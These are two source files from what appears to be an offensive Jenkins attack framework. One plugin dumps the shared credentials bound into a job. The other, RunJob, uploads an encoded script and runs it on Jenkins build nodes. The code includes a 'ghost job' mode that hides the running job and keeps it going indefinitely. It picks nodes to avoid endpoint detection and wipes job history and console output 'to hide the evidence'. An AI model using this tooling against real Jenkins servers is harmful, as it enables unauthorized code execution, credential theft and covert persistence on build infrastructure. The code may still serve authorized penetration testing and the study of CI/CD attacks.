281 | except (req_exc.SSLError, req_exc.ConnectionError): 282 | self.logging.fatal( 283 | "Unable to connect to: " 284 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 285 | ) 286 | 287 | except NonCriticalException as ex: 288 | with HijackStdOut(): 289 | print(str(ex)) 290 | 291 | except Exception: 292 | self.logging.exception("") 293 | exit(1) 294 | 295 | finally: 296 | # Do Cleanup 297 | if state > 1: 298 | try: 299 | server.delete_job(self.args.task_name) 300 | return 301 | except ( 302 | jenkinslib.JenkinsException, 303 | req_exc.SSLError, 304 | req_exc.ConnectionError, 305 | req_exc.HTTPError, 306 | ): 307 | with HijackStdOut(): 308 | print( 309 | "WARNING: Unable to delete the job, attempting secondary clean-up. You should double check." 310 | ) 311 | 312 | # We were unable to delete the the task, so we need to do secondary clean-up as best we can: 313 | # First we delete all console output and run history: 314 | try: 315 | server.delete_all_job_builds(self.args.task_name) 316 | except ( 317 | jenkinslib.JenkinsException, 318 | req_exc.SSLError, 319 | req_exc.ConnectionError, 320 | req_exc.HTTPError, 321 | ): 322 | print( 323 | "WARNING: Unable to clean-up console output. You should definitely try to do this yourself." 324 | ) 325 | 326 | # Second, overwrite the job with an empty job: 327 | try: 328 | server.reconfig_job( 329 | self.args.task_name, 330 | "", 331 | ) 332 | except ( 333 | jenkinslib.JenkinsException, 334 | req_exc.SSLError, 335 | req_exc.ConnectionError, 336 | req_exc.HTTPError, 337 | ): 338 | print( 339 | "WARNING: Unable to wipeout job to hide the evidence. You should definitely try to do this yourself." 340 | ) 341 | 342 | # Third, attempt to disable the job: 343 | try: 344 | server.disable_job(self.args.task_name) 345 | except ( 346 | jenkinslib.JenkinsException, 347 | req_exc.SSLError, 348 | req_exc.ConnectionError, 349 | req_exc.HTTPError, 350 | ): 351 | print( 352 | "WARNING: Unable to disable job. You should definitely try to do this yourself." 353 | ) 354 | 355 | def _generate_job_xml(self, job_type, nodes, barrier, credentials): 356 | file_name = "f" + "".join(random.choices(string.ascii_letters + string.digits, k=8)) 357 | 358 | loader = quik.FileLoader(os.path.join("data", "xml")) 359 | 360 | bindings_template = loader.load_template("credential_binding_template.xml") 361 | job_template = loader.load_template("job_template.xml") 362 | 363 | if job_type == "posix": 364 | cmd_template = quik.FileLoader(os.path.join("data", "bash")).load_template( 365 | "posix_job_dump_creds_template.sh" 366 | ) 367 | else: 368 | cmd_template = quik.FileLoader(os.path.join("data", "batch")).load_template( 369 | "windows_job_dump_creds_template.bat" 370 | ) 371 | 372 | for i in range(len(credentials)): 373 | if credentials[i]["type"] == "SSHKEY": 374 | credentials[i]["key_file_variable"] = "a{0}k".format(i) 375 | credentials[i]["username_variable"] = "a{0}u".format(i) 376 | credentials[i]["passphrase_variable"] = "a{0}p".format(i) 377 | else: # For now everything else uses only one variable 378 | credentials[i]["variable"] = "a{0}".format(i) 379 | 380 | bindings = bindings_template.render(locals()) 381 | cmds = cmd_template.render(locals()) 382 | 383 | return job_template.render( 384 | { 385 | "job_type": "BatchFile" if job_type == "windows" else "Shell", 386 | "assigned_nodes": "({})".format( 387 | xmlescape(" || ".join(['"{}"'.format(x["name"]) for x in nodes])) 388 | ), 389 | "commands": xmlescape(cmds), 390 | "credential_bindings": bindings, 391 | } 392 | ) 393 | 394 | 395 | class DumpCredsViaJobParser: 396 | def cmd_DumpCredsViaJob(self): 397 | """Handles parsing of RunCommand Subcommand arguments""" 398 | 399 | self._create_contextual_parser( 400 | "DumpCredsViaJob", 401 | "Dump credentials via explicit enumeration of shared credentials in a job (Only requires job creation permissions and some shared credentials)", 402 | ) 403 | self._add_common_arg_parsers() 404 | 405 | self.parser.add_argument( 406 | "-N", 407 | "--node", 408 | metavar="", 409 | help="Node to execute against. If specified, you must also pass -T", 410 | action="store", 411 | dest="node", 412 | required=False, 413 | ) 414 | 415 | self.parser.add_argument( 416 | "-T", 417 | "--nodetype", 418 | metavar="", 419 | help='Node Type, either: "posix" or "windows". If specified, you must also pass -N', 420 | choices=["posix", "windows"], 421 | dest="node_type", 422 | required=False, 423 | ) 424 | 425 | self.parser.add_argument( 426 | metavar="", 427 | help="Task to Create, must be unique (may not be deleted if user doesn't have job deletion permissions, so pick something that blends in)", 428 | action="store", 429 | dest="task_name", 430 | ) 431 | 432 | args = self.parser.parse_args() 433 | 434 | self._validate_server_url(args) 435 | self._validate_output_file(args) 436 | 437 | if not args.task_name or any( 438 | x not in (string.ascii_letters + string.digits + "/") for x in args.task_name 439 | ): 440 | with HijackStdOut(): 441 | self.parser.print_usage() 442 | print( 443 | "\nError: Task Name must be alphanumeric string with optional subfolder pathing via forward slashes." 444 | ) 445 | exit(1) 446 | 447 | if (args.node and not args.node_type) or (args.node_type and not args.node): 448 | with HijackStdOut(): 449 | self.parser.print_usage() 450 | print("\nError: You must either specify both Node and Node Type or neither") 451 | exit(1) 452 | 453 | return self._handle_authentication(args) 454 | -------------------------------------------------------------------------------- /libs/JAF/plugin_RunJob.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import os 3 | import random 4 | import string 5 | import time 6 | import xml.sax.saxutils 7 | import zlib 8 | 9 | import requests.exceptions as req_exc 10 | 11 | from libs import jenkinslib, quik 12 | 13 | from .BasePlugin import BasePlugin, HijackStdOut 14 | 15 | 16 | def xmlescape(data): 17 | return xml.sax.saxutils.escape(data, {'"': """}) 18 | 19 | 20 | class NonCriticalException(Exception): 21 | pass 22 | 23 | 24 | class RunJob(BasePlugin): 25 | """Class for managing RunJob SubCommand""" 26 | 27 | template_cache = None 28 | 29 | def __init__(self, args): 30 | super().__init__(args) 31 | 32 | state = 1 33 | 34 | try: 35 | cred = self.args.credentials[0] 36 | server = self._get_jenkins_server(cred) 37 | 38 | if not server.can_create_job(): 39 | self.logging.fatal( 40 | "%s: Is not a valid Jenkins user with job creation access or unable to access Jenkins server.", 41 | self._get_username(cred), 42 | ) 43 | 44 | return 45 | 46 | # Step 1: Get a list of online jenkins nodes 47 | 48 | posix_nodes = [] 49 | windows_nodes = [] 50 | other_nodes = [] 51 | 52 | if self.args.node: 53 | if self.args.node_type == "posix": 54 | posix_nodes = [{"name": self.args.node}] 55 | else: 56 | windows_nodes = [{"name": self.args.node}] 57 | 58 | else: 59 | nodes = [x for x in server.get_nodes() if not x["offline"]] 60 | 61 | if len(nodes) == 0: 62 | raise NonCriticalException("No online nodes were discovered.") 63 | 64 | """ 65 | We need to try to divide nodes up by type because our payload will change. 66 | If unknown, chances are it is some flavor of POSIX compatible OS with python so we can 67 | attempt POSIX payload as a last resort if nothing else is available. Also, for some reason master is 68 | not shown on the nodes page so we can't get the architecture. In most cases the master will be posix compliant anyway. 69 | In most cases, if execution on the master is denied, that means there will be more than one slave. 70 | """ 71 | 72 | for node in nodes: 73 | if node["architecture"] and "windows" in node["architecture"].lower(): 74 | windows_nodes.append(node) 75 | elif ( 76 | any( 77 | node["architecture"] and x in node["architecture"].lower() 78 | for x in ["nix", "nux", "bsd", "osx"] 79 | ) 80 | or node["name"] == "master" 81 | ): 82 | posix_nodes.append(node) 83 | else: 84 | other_nodes.append(node) 85 | 86 | state += 1 87 | 88 | """ 89 | Step 2: We determine where we are going to try to run this payload and fabricate the payload. 90 | We want to prioritize posix due to less chance of EDR, and more efficient payload design. 91 | We want to pick our execution location in this order posix -> windows -> other. 92 | """ 93 | 94 | job = None 95 | job_type = None 96 | run_nodes = None 97 | 98 | if len(posix_nodes) > 0: 99 | job_type = "posix" 100 | run_nodes = posix_nodes 101 | 102 | cmd_string = self._posix_payload() 103 | elif len(windows_nodes) > 0: 104 | job_type = "windows" 105 | run_nodes = windows_nodes 106 | try: 107 | cmd_string = self._windows_payload() 108 | except OSError: 109 | raise NonCriticalException( 110 | 'Please compile "data/cpp/windows_ghost_job_helper.cpp" and drop the resulting "windows_ghost_job_helper.exe" into "data/exe/", then retry.' 111 | ) 112 | elif len(other_nodes) > 0: 113 | job_type = "posix" 114 | run_nodes = other_nodes 115 | cmd_string = self._posix_payload() 116 | else: 117 | raise NonCriticalException("No nodes to execute on.") 118 | 119 | job = self._generate_job_xml(job_type, run_nodes, cmd_string) 120 | 121 | state += 1 122 | 123 | """ 124 | Step 3: Create job 125 | """ 126 | 127 | server.create_job(self.args.task_name, job) 128 | state += 1 129 | 130 | """ 131 | Step 4: Start the job 132 | """ 133 | 134 | server.build_job(self.args.task_name) 135 | state += 1 136 | 137 | """ 138 | Step 5: Wait for the Results 139 | """ 140 | 141 | if not self.args.no_wait: 142 | while True: 143 | time.sleep(1) 144 | try: 145 | results = server.get_build_info(self.args.task_name, "lastBuild") 146 | break 147 | except jenkinslib.JenkinsException: 148 | pass 149 | 150 | job_id = results["id"] 151 | 152 | if self.args.ghost: 153 | time.sleep(3) 154 | else: 155 | while results["building"]: 156 | time.sleep(3) 157 | results = server.get_build_info(self.args.task_name, "lastBuild") 158 | 159 | state += 1 160 | 161 | """ 162 | Step 6: Retrieve Results or Terminate Job (Depending on options) 163 | """ 164 | 165 | if not self.args.no_wait: 166 | if self.args.ghost: 167 | server.stop_build(self.args.task_name, job_id) 168 | with HijackStdOut(): 169 | print("Job should be successfully running.") 170 | else: 171 | print( 172 | server.get_build_console_output( 173 | "job/" + self.args.task_name + "/", "lastBuild" 174 | ) 175 | ) 176 | else: 177 | with HijackStdOut(): 178 | print("Job should be successfully running.") 179 | 180 | except jenkinslib.JenkinsException as ex: 181 | if "[403]" in str(ex).split("\n")[0]: 182 | self.logging.fatal( 183 | "%s authentication failed or no access", self._get_username(cred) 184 | ) 185 | else: 186 | self.logging.fatal( 187 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 188 | % ( 189 | ( 190 | self.server_url.netloc 191 | if len(self.server_url.netloc) > 0 192 | else self.args.server 193 | ), 194 | self._get_username(cred), 195 | str(ex).split("\n")[0], 196 | ) 197 | ) 198 | 199 | except (req_exc.SSLError, req_exc.ConnectionError): 200 | self.logging.fatal( 201 | "Unable to connect to: " 202 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 203 | ) 204 | 205 | except NonCriticalException as ex: 206 | with HijackStdOut(): 207 | print(str(ex)) 208 | 209 | except Exception: 210 | self.logging.exception("") 211 | exit(1) 212 | 213 | finally: 214 | # Do Cleanup 215 | if self.args.no_wait: 216 | with HijackStdOut(): 217 | print( 218 | "WARNING: Unable to delete the job, do to -x option. You need to manually go do cleanup." 219 | ) 220 | elif state > 3: 221 | try: 222 | server.delete_job(self.args.task_name) 223 | return 224 | except ( 225 | jenkinslib.JenkinsException, 226 | req_exc.SSLError, 227 | req_exc.ConnectionError, 228 | req_exc.HTTPError, 229 | ): 230 | with HijackStdOut(): 231 | print( 232 | "WARNING: Unable to delete the job, attempting secondary clean-up. You should double check." 233 | ) 234 | 235 | # We were unable to delete the the task, so we need to do secondary clean-up as best we can: 236 | # First we delete all console output and run history: 237 | try: 238 | server.delete_all_job_builds(self.args.task_name) 239 | except ( 240 | jenkinslib.JenkinsException, 241 | req_exc.SSLError, 242 | req_exc.ConnectionError, 243 | req_exc.HTTPError, 244 | ): 245 | print( 246 | "WARNING: Unable to clean-up console output. You should definitely try to do this yourself." 247 | ) 248 | 249 | # Second, overwrite the job with an empty job: 250 | try: 251 | server.reconfig_job( 252 | self.args.task_name, 253 | "", 254 | ) 255 | except ( 256 | jenkinslib.JenkinsException, 257 | req_exc.SSLError, 258 | req_exc.ConnectionError, 259 | req_exc.HTTPError, 260 | ): 261 | print( 262 | "WARNING: Unable to wipeout job to hide the evidence. You should definitely try to do this yourself." 263 | ) 264 | 265 | # Third, attempt to disable the job: 266 | try: 267 | server.disable_job(self.args.task_name) 268 | except ( 269 | jenkinslib.JenkinsException, 270 | req_exc.SSLError, 271 | req_exc.ConnectionError, 272 | req_exc.HTTPError, 273 | ): 274 | print( 275 | "WARNING: Unable to disable job. You should definitely try to do this yourself." 276 | ) 277 | 278 | def _posix_payload(self): 279 | file_name = "".join(random.choices(string.ascii_letters + string.digits, k=8)) 280 | 281 | if "." in self.args.script_path: 282 | file_name += "." + self.args.script_path.split(".")[-1] 283 | 284 | with open(self.args.script_path, "rb") as f: 285 | payload = base64.b64encode(zlib.compress(f.read(), 9)).decode("utf8") 286 | 287 | if self.args.executor: 288 | executor = self.args.executor.replace("\\", "\\\\").replace('"', '\\"') + " " 289 | 290 | if self.args.additional_args: 291 | additional_args = " " + self.args.additional_args.replace("\\", "\\\\").replace( 292 | '"', '\\"' 293 | ) 294 | 295 | loader = quik.FileLoader(os.path.join("data", "python")) 296 | 297 | if self.args.ghost: 298 | cmd_template = loader.load_template("posix_ghost_job_template.py") 299 | else: 300 | cmd_template = loader.load_template("posix_normal_job_template.py") 301 | 302 | return cmd_template.render(locals()) 303 | 304 | def _windows_payload(self): 305 | file_name = "".join(random.choices(string.ascii_letters + string.digits, k=8)) 306 | 307 | if "." in self.args.script_path: 308 | file_name += "." + self.args.script_path.split(".")[-1] 309 | 310 | with open(self.args.script_path, "rb") as f: 311 | data = base64.b64encode(f.read()).decode("utf8") 312 | 313 | payload = list(self.__chunk_payload(data, 240)) 314 | 315 | if self.args.executor: 316 | executor = self.args.executor + " " 317 | 318 | if self.args.additional_args: 319 | additional_args = " " + self.args.additional_args 320 | 321 | loader = quik.FileLoader(os.path.join("data", "batch")) 322 | 323 | if self.args.ghost: 324 | helper_file_name = ( 325 | "".join(random.choices(string.ascii_letters + string.digits, k=8)) + ".exe" 326 | ) 327 | 328 | with open(os.path.join("data", "exe", "windows_ghost_job_helper.exe"), "rb") as f: 329 | data = base64.b64encode(f.read()).decode("utf8") 330 | 331 | helper_payload = list(self.__chunk_payload(data, 240)) 332 | 333 | cmd_template = loader.load_template("windows_ghost_job_template.bat") 334 | else: 335 | cmd_template = loader.load_template("windows_normal_job_template.bat") 336 | 337 | return cmd_template.render(locals()) 338 | 339 | def _generate_job_xml(self, job_type, nodes, cmd_string): 340 | job_template = quik.FileLoader(os.path.join("data", "xml")).load_template( 341 | "job_template.xml" 342 | ) 343 | 344 | return job_template.render( 345 | { 346 | "job_type": "BatchFile" if job_type == "windows" else "Shell", 347 | "assigned_nodes": "({})".format( 348 | xmlescape(" || ".join(['"{}"'.format(x["name"]) for x in nodes])) 349 | ), 350 | "commands": xmlescape(cmd_string), 351 | } 352 | ) 353 | 354 | def __chunk_payload(self, payload, size): 355 | for i in range(0, len(payload), size): 356 | yield payload[i : i + size] 357 | 358 | 359 | class RunJobParser: 360 | def cmd_RunJob(self): 361 | """Handles parsing of RunJob Subcommand arguments""" 362 | 363 | self._create_contextual_parser("RunJob", "Run Jenkins Jobs") 364 | self._add_common_arg_parsers() 365 | 366 | self.parser.add_argument( 367 | "-x", 368 | "--no_wait", 369 | help="Do not wait for Job. Cannot be specified if -g is passed", 370 | action="store_true", 371 | dest="no_wait", 372 | required=False, 373 | ) 374 | 375 | self.parser.add_argument( 376 | "-g", 377 | "--ghost", 378 | help='Launch "ghost job", does not show up as a running job after initial launch, does not tie up executors, and runs indefinitely. Cannot be specified with the -x option.', 379 | action="store_true", 380 | dest="ghost", 381 | required=False, 382 | ) 383 | 384 | self.parser.add_argument( 385 | "-N", 386 | "--node", 387 | metavar="", 388 | help="Node (Slave) to execute against. Executes against any available node if not specified.", 389 | action="store", 390 | dest="node", 391 | required=False, 392 | ) 393 | 394 | self.parser.add_argument( 395 | "-T", 396 | "--nodetype", 397 | metavar="", 398 | help='Node Type, either: "posix" or "windows". If specified, you must also pass -N', 399 | choices=["posix", "windows"], 400 | dest="node_type", 401 | required=False, 402 | ) 403 | 404 | self.parser.add_argument( 405 | "-e", 406 | "--executor", 407 | metavar="", 408 | help="If passed, this command string will be prepended to command string ([] []).", 409 | action="store", 410 | dest="executor", 411 | required=False, 412 | ) 413 | 414 | self.parser.add_argument( 415 | "-A", 416 | "--args", 417 | metavar="", 418 | help="If passed, this will be concatonated to the end of the command string ([] []).", 419 | action="store", 420 | dest="additional_args", 421 | required=False, 422 | ) 423 | 424 | self.parser.add_argument( 425 | metavar="", 426 | help="Task to Create, must be unique (may not be deleted if user doesn't have job deletion permissions, so pick something that blends in)", 427 | action="store", 428 | dest="task_name", 429 | ) 430 | 431 | self.parser.add_argument( 432 | metavar="", 433 | help="Local path to script to upload and run. Should be compatible with OS and with expected extension.", 434 | action="store", 435 | dest="script_path", 436 | ) 437 | 438 | args = self.parser.parse_args() 439 | 440 | self._validate_server_url(args) 441 | self._validate_timeout_number(args) 442 | self._validate_output_file(args) 443 | 444 | return_data = self._handle_authentication(args) 445 | 446 | if not self._file_accessible(args.script_path): 447 | with HijackStdOut(): 448 | self.parser.print_usage() 449 | print("\nError: Specified Script File does not exist or cannot be accessed.") 450 | exit(1) 451 | 452 | if args.no_wait and args.ghost: 453 | with HijackStdOut(): 454 | self.parser.print_usage() 455 | print("\nError: Cannot specify both -g and -x at the same time.") 456 | exit(1) 457 | 458 | if not args.task_name or any( 459 | x not in (string.ascii_letters + string.digits + "/") for x in args.task_name 460 | ): 461 | with HijackStdOut(): 462 | self.parser.print_usage() 463 | print( 464 | "\nError: Task Name must be alphanumeric string with optional subfolder pathing via forward slashes." 465 | ) 466 | exit(1) 467 | 468 | if (args.node and not args.node_type) or (args.node_type and not args.node): 469 | with HijackStdOut(): 470 | self.parser.print_usage() 471 | print("\nError: You must either specify both Node and Node Type or neither") 472 | exit(1) 473 | 474 | return return_data 475 | --------------------------------------------------------------------------------